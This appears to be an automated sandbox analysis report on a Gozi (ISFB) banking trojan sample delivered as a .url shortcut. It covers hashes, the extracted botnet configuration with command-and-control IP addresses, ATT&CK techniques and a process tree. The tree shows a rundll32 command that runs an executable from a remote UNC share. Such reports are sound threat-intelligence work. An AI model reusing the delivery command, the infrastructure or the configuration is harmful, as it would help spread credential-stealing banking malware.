gozi | 4e801b98464a9bcbceeaeb058cfbdef589e40e255206ba8c926f8d4c82ad08ef

Analysis

max time kernel
147s
max time network
176s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
09/02/2023, 14:04

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General

Target

documento/documento.url
Size

193B
MD5

edca65cabb466cc4d38738f4661bfe47
SHA1

3d3ab1139b38b6e3fd16f26315b57fe9d904397c
SHA256

b6ece3b9c859b0baa1d09bc27a77df0e35a9bb0f866eefc726a3237a0eaa37fc
SHA512

ddffc79858639112d3f2337c6bbf0bbee4a8331153cb06be499cfbe543c36f371834ef376266ccf4af1f52cd54f58c08c56f0f4b7d06b19921f96617eda323e8

Score

10^/10

gozi 7708 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

7708

checklist.skype.com

62.173.147.156

31.41.44.3

46.8.19.140

45.151.232.3

62.173.139.21

185.142.99.47

31.41.44.121

Attributes

base_path
/drew/
build
250255
exe_type
loader
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4824 wrote to memory of 5028	4824	rundll32.exe	80
PID 4824 wrote to memory of 5028	4824	rundll32.exe	80
PID 4824 wrote to memory of 5028	4824	rundll32.exe	80

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\documento\documento.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4824
- \??\UNC\46.8.19.244\Agenzia\scarica.exe
  "\\46.8.19.244\Agenzia\scarica.exe"
  2⤵
  PID:5028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/5028-133-0x000000000068D000-0x00000000006A0000-memory.dmp

Filesize
76KB

Download
memory/5028-134-0x0000000000610000-0x000000000061B000-memory.dmp

Filesize
44KB

Download
memory/5028-135-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/5028-136-0x000000000068D000-0x00000000006A0000-memory.dmp

Filesize
76KB

Download
memory/5028-137-0x00000000022F0000-0x00000000022FD000-memory.dmp

Filesize
52KB

Download
memory/5028-140-0x0000000000610000-0x000000000061B000-memory.dmp

Filesize
44KB

Download
memory/5028-141-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads